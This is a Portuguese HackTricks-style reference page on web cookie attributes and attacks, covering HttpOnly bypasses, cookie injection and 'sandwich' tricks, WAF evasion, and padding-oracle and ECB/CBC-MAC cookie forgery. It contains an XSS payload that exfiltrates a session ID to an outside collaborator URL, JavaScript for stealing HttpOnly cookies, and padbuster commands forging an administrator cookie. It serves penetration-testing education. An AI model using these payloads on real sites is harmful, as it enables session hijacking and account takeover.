Cookies Hacking

Reading time: 17 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Os cookies vêm com vários atributos que controlam seu comportamento no navegador do usuário. Aqui está um resumo desses atributos em voz mais passiva:

Expires and Max-Age

A data de expiração de um cookie é determinada pelo atributo Expires. Por outro lado, o atributo Max-age define o tempo em segundos até que o cookie seja excluído. Prefira Max-age, pois reflete práticas mais modernas.

Domain

Os hosts que recebem um cookie são especificados pelo atributo Domain. Por padrão, isso é definido para o host que emitiu o cookie, não incluindo seus subdomínios. Entretanto, quando o atributo Domain é explicitamente definido, ele abrange também os subdomínios. Isso torna a especificação do atributo Domain uma opção menos restritiva, útil para cenários onde o compartilhamento de cookies entre subdomínios é necessário. Por exemplo, definir Domain=mozilla.org torna os cookies acessíveis em seus subdomínios como developer.mozilla.org.

Path

O atributo Path indica um caminho de URL específico que deve estar presente na URL solicitada para que o header Cookie seja enviado. Esse atributo considera o caractere / como separador de diretórios, permitindo correspondências em subdiretórios também.

Regras de Ordenação

Quando dois cookies têm o mesmo nome, o enviado é escolhido com base em:

  • O cookie que corresponde ao caminho mais longo na URL solicitada.
  • O cookie definido mais recentemente se os caminhos forem idênticos.

SameSite

  • O atributo SameSite determina se os cookies são enviados em requisições originadas por domínios de terceiros. Ele oferece três configurações:
  • Strict: Restringe o envio do cookie em requisições de terceiros.
  • Lax: Permite que o cookie seja enviado com requisições GET iniciadas por sites de terceiros.
  • None: Permite que o cookie seja enviado a partir de qualquer domínio de terceiros.

Lembre-se: ao configurar cookies, entender esses atributos ajuda a garantir que eles se comportem conforme esperado em diferentes cenários.

Tipo de RequisiçãoExemplo de CódigoCookies Enviados Quando
Link<a href="..."></a>NotSet*, Lax, None
Prerender<link rel="prerender" href=".."/>NotSet*, Lax, None
Form GET<form method="GET" action="...">NotSet*, Lax, None
Form POST<form method="POST" action="...">NotSet*, None
iframe<iframe src="..."></iframe>NotSet*, None
AJAX$.get("...")NotSet*, None
Image<img src="...">NetSet*, None

Table from Invicti and slightly modified.
A cookie with SameSite attribute will mitigate CSRF attacks where a logged session is needed.

*Observe que a partir do Chrome80 (fev/2019) o comportamento padrão de um cookie sem o atributo SameSite será Lax (https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/).
Nota que temporariamente, depois de aplicar essa mudança, os cookies sem uma SameSite policy no Chrome serão tratados como None durante os primeiros 2 minutos e depois como Lax para top-level cross-site POST request.

Flags de Cookies

HttpOnly

Isso evita que o client acesse o cookie (Via Javascript por exemplo: document.cookie)

Bypasses

  • Se a página estiver enviando os cookies como a resposta de uma requisição (por exemplo em uma página PHPinfo), é possível abusar do XSS para enviar uma requisição para essa página e roubar os cookies da resposta (veja um exemplo em https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/).
  • Isso pode ser contornado com requisições TRACE HTTP, já que a resposta do servidor (se esse método HTTP estiver disponível) refletirá os cookies enviados. Essa técnica é chamada Cross-Site Tracking.
  • Essa técnica é evitada por navegadores modernos não permitindo o envio de um TRACE a partir de JS. No entanto, alguns bypasses a isso foram encontrados em softwares específicos, como enviar \r\nTRACE em vez de TRACE para o IE6.0 SP2.
  • Outra forma é a exploração de vulnerabilidades zero-day dos navegadores.
  • É possível sobrescrever cookies HttpOnly realizando um ataque de Cookie Jar overflow:

Cookie Jar Overflow

  • É possível usar o ataque Cookie Smuggling para exfiltrar esses cookies
  • Se algum endpoint server-side ecoar o ID de sessão bruto na resposta HTTP (por exemplo, dentro de comentários HTML ou um bloco de debug), você pode contornar o HttpOnly usando um gadget XSS para buscar esse endpoint, extrair o segredo com regex e exfiltrá-lo. Padrão de payload XSS de exemplo:
js
// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
fetch('/index.php?module=Touch&action=ws')
.then(r => r.text())
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });

Secure

A requisição somente enviará o cookie em uma requisição HTTP se esta for transmitida por um canal seguro (normalmente HTTPS).

Prefixos de Cookies

Cookies com prefixo __Secure- devem ser definidos juntamente com a flag secure a partir de páginas protegidas por HTTPS.

Para cookies com prefixo __Host-, várias condições devem ser atendidas:

  • Devem ser definidos com a flag secure.
  • Devem originar-se de uma página protegida por HTTPS.
  • É proibido especificar um domínio, impedindo sua transmissão para subdomínios.
  • O path desses cookies deve ser definido como /.

É importante notar que cookies com prefixo __Host- não podem ser enviados para superdomínios ou subdomínios. Essa restrição ajuda a isolar os cookies da aplicação. Assim, empregar o prefixo __Host- para todos os cookies da aplicação pode ser considerado uma boa prática para aumentar a segurança e isolamento.

Sobrescrevendo cookies

Uma das proteções dos cookies com prefixo __Host- é evitar que sejam sobrescritos por subdomínios. Prevenindo, por exemplo, Cookie Tossing attacks. Na palestra Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities (paper) é apresentado que era possível definir __HOST- prefixed cookies a partir de um subdomínio, enganando o parser, por exemplo, adicionando "=" no começo ou no começo e no fim...:

Ou em PHP era possível adicionar outros caracteres no início do nome do cookie que seriam substituídos por underscore characters, permitindo sobrescrever __HOST- cookies:

Ataques a Cookies

Se um cookie customizado contiver dados sensíveis, verifique-o (especialmente se você estiver em um CTF), pois pode ser vulnerável.

Decodificando e Manipulando Cookies

Dados sensíveis embutidos em cookies devem sempre ser examinados. Cookies codificados em Base64 ou formatos similares frequentemente podem ser decodificados. Essa vulnerabilidade permite que atacantes alterem o conteúdo do cookie e assumam a identidade de outros usuários ao voltar a codificar seus dados modificados no cookie.

Session Hijacking

Esse ataque envolve roubar o cookie de um usuário para obter acesso não autorizado à sua conta em uma aplicação. Usando o cookie roubado, um atacante pode se passar pelo usuário legítimo.

Session Fixation

Nesse cenário, um atacante engana a vítima para que ela use um cookie específico ao fazer login. Se a aplicação não atribuir um novo cookie após o login, o atacante, possuindo o cookie original, pode se passar pela vítima. Essa técnica depende da vítima efetuar o login com um cookie fornecido pelo atacante.

Se você encontrou um XSS in a subdomain ou você control a subdomain, leia:

Cookie Tossing

Session Donation

Aqui, o atacante convence a vítima a usar o cookie de sessão do atacante. A vítima, acreditando estar logada na própria conta, executará inadvertidamente ações no contexto da conta do atacante.

Se você encontrou um XSS in a subdomain ou você control a subdomain, leia:

Cookie Tossing

JWT Cookies

Clique no link acima para acessar uma página que explica possíveis falhas em JWT.

JSON Web Tokens (JWT) usados em cookies também podem apresentar vulnerabilidades. Para informações detalhadas sobre falhas potenciais e como explorá-las, recomenda-se acessar o documento linkado sobre hacking JWT.

Cross-Site Request Forgery (CSRF)

Esse ataque força um usuário autenticado a executar ações indesejadas em uma aplicação web na qual está atualmente autenticado. Atacantes podem explorar cookies que são enviados automaticamente com cada requisição ao site vulnerável.

Cookies vazios

(Check further details in theoriginal research) Navegadores permitem a criação de cookies sem nome, o que pode ser demonstrado através de JavaScript da seguinte forma:

js
document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2"

O resultado no sent cookie header é a=v1; test value; b=v2;. Curiosamente, isso permite a manipulação de cookies se um cookie com nome vazio for definido, potencialmente controlando outros cookies ao definir o cookie vazio para um valor específico:

js
function setCookie(name, value) {
document.cookie = `${name}=${value}`
}

setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value

Isso faz com que o navegador envie um cabeçalho Cookie interpretado por todo servidor web como um cookie chamado a com o valor b.

Bug do Chrome: Unicode Surrogate Codepoint Issue

No Chrome, se um Unicode surrogate codepoint fizer parte de um set cookie, document.cookie fica corrompido, retornando em seguida uma string vazia:

js
document.cookie = "\ud800=meep"

This results in document.cookie outputting an empty string, indicating permanent corruption.

(Confira mais detalhes na original research) Vários servidores web, incluindo os de Java (Jetty, TomCat, Undertow) e Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), tratam incorretamente strings de cookie devido ao suporte obsoleto ao RFC2965. Eles interpretam um valor de cookie entre aspas duplas como um único valor mesmo se ele incluir pontos e vírgulas, que normalmente deveriam separar pares chave-valor:

RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";

Vulnerabilidades de Injeção de Cookies

(Consulte mais detalhes na pesquisa original) O parsing incorreto de cookies por servidores, notadamente Undertow, Zope, e aqueles que usam Python's http.cookie.SimpleCookie e http.cookie.BaseCookie, cria oportunidades para ataques de injeção de cookie. Esses servidores não delimitam corretamente o início de novos cookies, permitindo que atacantes falsifiquem cookies:

  • Undertow espera um novo cookie imediatamente após um valor entre aspas sem ponto e vírgula.
  • Zope procura por uma vírgula para começar a parsear o próximo cookie.
  • As classes de cookie do Python começam a parsear a partir de um caractere de espaço.

Essa vulnerabilidade é particularmente perigosa em aplicações web que dependem de proteção CSRF baseada em cookie, pois permite que atacantes injetem cookies de token CSRF falsificados, potencialmente contornando medidas de segurança. O problema é agravado pelo tratamento de nomes de cookie duplicados em Python, onde a última ocorrência sobrescreve as anteriores. Também levanta preocupações para cookies __Secure- e __Host- em contextos inseguros e pode levar a bypasses de autorização quando cookies são repassados para servidores back-end suscetíveis à falsificação.

Cookies $version

Bypass de WAF

De acordo com this blogpost, pode ser possível usar o atributo de cookie $Version=1 para fazer o backend usar uma lógica antiga para parsear o cookie devido ao RFC2109. Além disso, outros valores como $Domain e $Path podem ser usados para modificar o comportamento do backend com o cookie.

De acordo com this blogpost é possível usar a cookie sandwich technique para roubar HttpOnly cookies. Estes são os requisitos e passos:

  • Encontre um local onde um cookie aparentemente inútil é refletido na resposta
  • Create a cookie called $Version com valor 1 (você pode fazer isso em um ataque XSS via JS) com um path mais específico para que ele obtenha a posição inicial (alguns frameworks como python não precisam deste passo)
  • Create the cookie that is reflected com um valor que deixe uma aspas duplas aberta e com um path específico para que ele fique posicionado no cookie db após o anterior ($Version)
  • Então, o cookie legítimo ficará em seguida na ordem
  • Create a dummy cookie that closes the double quotes dentro do seu valor

Dessa forma o cookie da vítima fica preso dentro do novo cookie $Version=1 e será refletido sempre que for refletido. por exemplo do post:

javascript
document.cookie = `$Version=1;`;
document.cookie = `param1="start`;
// any cookies inside the sandwich will be placed into param1 value server-side
document.cookie = `param2=end";`;

WAF bypasses

Cookies $version

Veja a seção anterior.

Bypassing value analysis with quoted-string encoding

Esse parsing indica que se removerá o escape dos valores dentro dos cookies, então "\a" se torna "a". Isso pode ser útil para contornar WAFS como:

  • eval('test') => forbidden
  • "\e\v\a\l\(\'\t\e\s\t\'\)" => allowed

In the RFC2109 it's indicated that a vírgula pode ser usada como separador entre valores de cookie. Além disso, é possível adicionar espaços e tabs antes e depois do sinal de igual. Portanto um cookie como $Version=1; foo=bar, abc = qux não gera o cookie "foo":"bar, admin = qux" mas os cookies foo":"bar" e "admin":"qux". Observe como 2 cookies são gerados e como admin teve removidos os espaços antes e depois do sinal de igual.

Finalmente diferentes backdoors poderiam juntar em uma única string cookies diferentes passados em diferentes cookie headers como em:

GET / HTTP/1.1
Host: example.com
Cookie: param1=value1;
Cookie: param2=value2;

O que poderia permitir contornar um WAF como neste exemplo:

Cookie: name=eval('test//
Cookie: comment')

Resulting cookie: name=eval('test//, comment') => allowed

Verificações extras de Cookies vulneráveis

Verificações básicas

  • O cookie é o mesmo toda vez que você faz login.
  • Faça logout e tente usar o mesmo cookie.
  • Tente fazer login com 2 dispositivos (ou navegadores) na mesma conta usando o mesmo cookie.
  • Verifique se o cookie contém alguma informação e tente modificá-lo
  • Tente criar várias accounts com usernames quase iguais e verifique se consegue ver semelhanças.
  • Verifique a opção "remember me" se existir para ver como ela funciona. Se existir e puder ser vulnerável, sempre use o cookie de remember me sem nenhum outro cookie.
  • Verifique se o cookie anterior funciona mesmo depois de você alterar a password.

Ataques avançados a cookies

Se o cookie permanece o mesmo (ou quase) quando você faz login, isso provavelmente significa que o cookie está relacionado a algum campo da sua account (provavelmente o username). Então você pode:

  • Tente criar muitas accounts com usernames muito similares e tente adivinhar como o algoritmo funciona.
  • Tente bruteforce the username. Se o cookie for usado apenas como método de autenticação para o seu username, então você pode criar uma account com username "Bmin" e bruteforce cada bit do seu cookie porque um dos cookies que você tentar será o pertencente a "admin".
  • Teste Padding Oracle (você pode descriptografar o conteúdo do cookie). Use padbuster.

Padding Oracle - Padbuster examples

bash
padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
# When cookies and regular Base64
padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies auth=u7bvLewln6PJPSAbMb5pFfnCHSEd6olf

# If Base64 urlsafe or hex-lowercase or hex-uppercase --encoding parameter is needed, for example:
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2

Padbuster fará várias tentativas e perguntará qual condição é a condição de erro (aquela que não é válida).

Em seguida, ele começará a decrypting the cookie (pode levar vários minutos)

Se o ataque for realizado com sucesso, então você poderá tentar encrypt uma string de sua escolha. Por exemplo, se você quiser encrypt user=administrator

padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator

Esta execução fornecerá o cookie corretamente criptografado e codificado com a string user=administrator dentro.

CBC-MAC

Talvez um cookie possa ter algum valor e ser assinado usando CBC. Então, a integridade do valor é a assinatura criada usando CBC com o mesmo valor. Como é recomendado usar como IV um vetor nulo, esse tipo de verificação de integridade pode ser vulnerável.

The attack

  1. Obter a assinatura do username administ = t
  2. Obter a assinatura do username rator\x00\x00\x00 XOR t = t'
  3. Colocar no cookie o valor administrator+t' (t' será uma assinatura válida de (rator\x00\x00\x00 XOR t) XOR t = rator\x00\x00\x00

ECB

Se o cookie for criptografado usando ECB ele pode ser vulnerável.
When you log in the cookie that you receive has to be always the same.

Como detectar e atacar:

  • Create 2 users with almost the same data (username, password, email, etc.) and try to discover some pattern inside the given cookie
  • Create a user called for example "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" and check if there is any pattern in the cookie (as ECB encrypts with the same key every block, the same encrypted bytes could appear if the username is encrypted).

Deve haver um padrão (com o tamanho de um bloco usado). So, knowing how are a bunch of "a" encrypted you can create a username: "a"*(size of the block)+"admin". Then, you could delete the encrypted pattern of a block of "a" from the cookie. And you will have the cookie of the username "admin".

References

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks